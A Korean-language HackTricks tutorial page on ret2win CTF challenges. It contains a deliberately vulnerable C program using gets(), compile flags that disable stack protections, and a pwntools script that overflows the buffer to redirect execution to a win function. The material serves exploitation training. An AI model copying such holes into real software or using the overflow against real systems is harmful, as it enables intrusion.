Ret2win

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Ret2win ์ฑŒ๋ฆฐ์ง€๋Š” Capture The Flag (CTF) ๋Œ€ํšŒ์—์„œ ์ธ๊ธฐ ์žˆ๋Š” ์นดํ…Œ๊ณ ๋ฆฌ๋กœ, ํŠนํžˆ binary exploitation๊ณผ ๊ด€๋ จ๋œ ์ž‘์—…์—์„œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ๋ชฉํ‘œ๋Š” ์ฃผ์–ด์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด์—์„œ ํŠน์ • ํ˜ธ์ถœ๋˜์ง€ ์•Š์€ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ๋ณดํ†ต win, flag์™€ ๊ฐ™์€ ์ด๋ฆ„์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ํ”Œ๋ž˜๊ทธ๋‚˜ ์„ฑ๊ณต ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฑŒ๋ฆฐ์ง€๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์Šคํƒ์—์„œ return address๋ฅผ ๋ฎ์–ด์จ์„œ ์‹คํ–‰ ํ๋ฆ„์„ ์›ํ•˜๋Š” ํ•จ์ˆ˜๋กœ ์ „ํ™˜ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์˜ˆ์ œ๋ฅผ ํฌํ•จํ•œ ๋” ์ž์„ธํ•œ ์„ค๋ช…์ž…๋‹ˆ๋‹ค:

C ์˜ˆ์ œ

์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฐ„๋‹จํ•œ C ํ”„๋กœ๊ทธ๋žจ๊ณผ ์šฐ๋ฆฌ๊ฐ€ ํ˜ธ์ถœํ•˜๋ ค๋Š” win ํ•จ์ˆ˜๊ฐ€ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

์ด ํ”„๋กœ๊ทธ๋žจ์„ ์Šคํƒ ๋ณดํ˜ธ ์—†์ด ASLR ๋น„ํ™œ์„ฑํ™” ์ƒํƒœ๋กœ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: ํ”„๋กœ๊ทธ๋žจ์„ 32๋น„ํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค(์„ ํƒ ์‚ฌํ•ญ์ด์ง€๋งŒ CTF ์ฑŒ๋ฆฐ์ง€์—์„œ ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค).
  • -fno-stack-protector: ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์— ๋Œ€ํ•œ ๋ณดํ˜ธ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • -z execstack: ์Šคํƒ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • -no-pie: ์œ„์น˜ ๋…๋ฆฝ ์‹คํ–‰ ํŒŒ์ผ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ win ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • -o vulnerable: ์ถœ๋ ฅ ํŒŒ์ผ ์ด๋ฆ„์„ vulnerable๋กœ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.

Python Exploit using Pwntools

์ต์Šคํ”Œ๋กœ์ž‡์„ ์œ„ํ•ด pwntools๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์ต์Šคํ”Œ๋กœ์ž‡ ์ž‘์„ฑ์„ ์œ„ํ•œ ๊ฐ•๋ ฅํ•œ CTF ํ”„๋ ˆ์ž„์›Œํฌ์ž…๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฒ„ํผ๋ฅผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐํ•˜๊ณ  win ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ์œผ๋ ค๋ฉด gdb, objdump ๋˜๋Š” ์ด์ง„ ํŒŒ์ผ์„ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, objdump๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

objdump -d vulnerable | grep win

์ด ๋ช…๋ น์€ win ํ•จ์ˆ˜์˜ ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๋ณด์—ฌ์ฃผ๋ฉฐ, ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

Python ์Šคํฌ๋ฆฝํŠธ๋Š” ์ •๊ตํ•˜๊ฒŒ ์ œ์ž‘๋œ ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•˜์—ฌ, vulnerable_function์— ์˜ํ•ด ์ฒ˜๋ฆฌ๋  ๋•Œ ๋ฒ„ํผ๊ฐ€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋˜๊ณ  ์Šคํƒ์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ win์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์”Œ์›Œ์ง‘๋‹ˆ๋‹ค. vulnerable_function์ด ๋ฐ˜ํ™˜๋  ๋•Œ, main์œผ๋กœ ๋ฐ˜ํ™˜ํ•˜๊ฑฐ๋‚˜ ์ข…๋ฃŒํ•˜๋Š” ๋Œ€์‹  win์œผ๋กœ ์ ํ”„ํ•˜๊ณ  ๋ฉ”์‹œ์ง€๊ฐ€ ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค.

๋ณดํ˜ธ ์กฐ์น˜

  • PIE ๋Š” ๋น„ํ™œ์„ฑํ™”๋˜์–ด์•ผ ์ฃผ์†Œ๊ฐ€ ์‹คํ–‰ ๊ฐ„์— ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๊ฑฐ๋‚˜ ํ•จ์ˆ˜๊ฐ€ ์ €์žฅ๋  ์ฃผ์†Œ๊ฐ€ ํ•ญ์ƒ ๋™์ผํ•˜์ง€ ์•Š์œผ๋ฉฐ, win ํ•จ์ˆ˜๊ฐ€ ๋กœ๋“œ๋œ ์œ„์น˜๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค ๋ˆ„์ถœ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ read ๋˜๋Š” ์œ ์‚ฌํ•œ ๊ฒฝ์šฐ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ win ํ•จ์ˆ˜๋กœ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด 1 ๋˜๋Š” 2 ๋ฐ”์ดํŠธ์˜ ๋ถ€๋ถ„ ๋ฎ์–ด์“ฐ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ASLR์˜ ์ž‘๋™ ๋ฐฉ์‹ ๋•Œ๋ฌธ์— ๋งˆ์ง€๋ง‰ ์„ธ ๊ฐœ์˜ 16์ง„์ˆ˜ ๋‹ˆ๋ธ”์€ ๋ฌด์ž‘์œ„ํ™”๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ, ์˜ฌ๋ฐ”๋ฅธ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์–ป์„ ํ™•๋ฅ ์€ 1/16 (1 ๋‹ˆ๋ธ”)์ž…๋‹ˆ๋‹ค.
  • ์Šคํƒ ์นด๋‚˜๋ฆฌ๋„ ๋น„ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์†์ƒ๋œ EIP ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ ๊ฒฐ์ฝ” ๋”ฐ๋ผ์ง€์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ธฐํƒ€ ์˜ˆ์ œ ๋ฐ ์ฐธ์กฐ

ARM64 ์˜ˆ์ œ

Ret2win - arm64

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ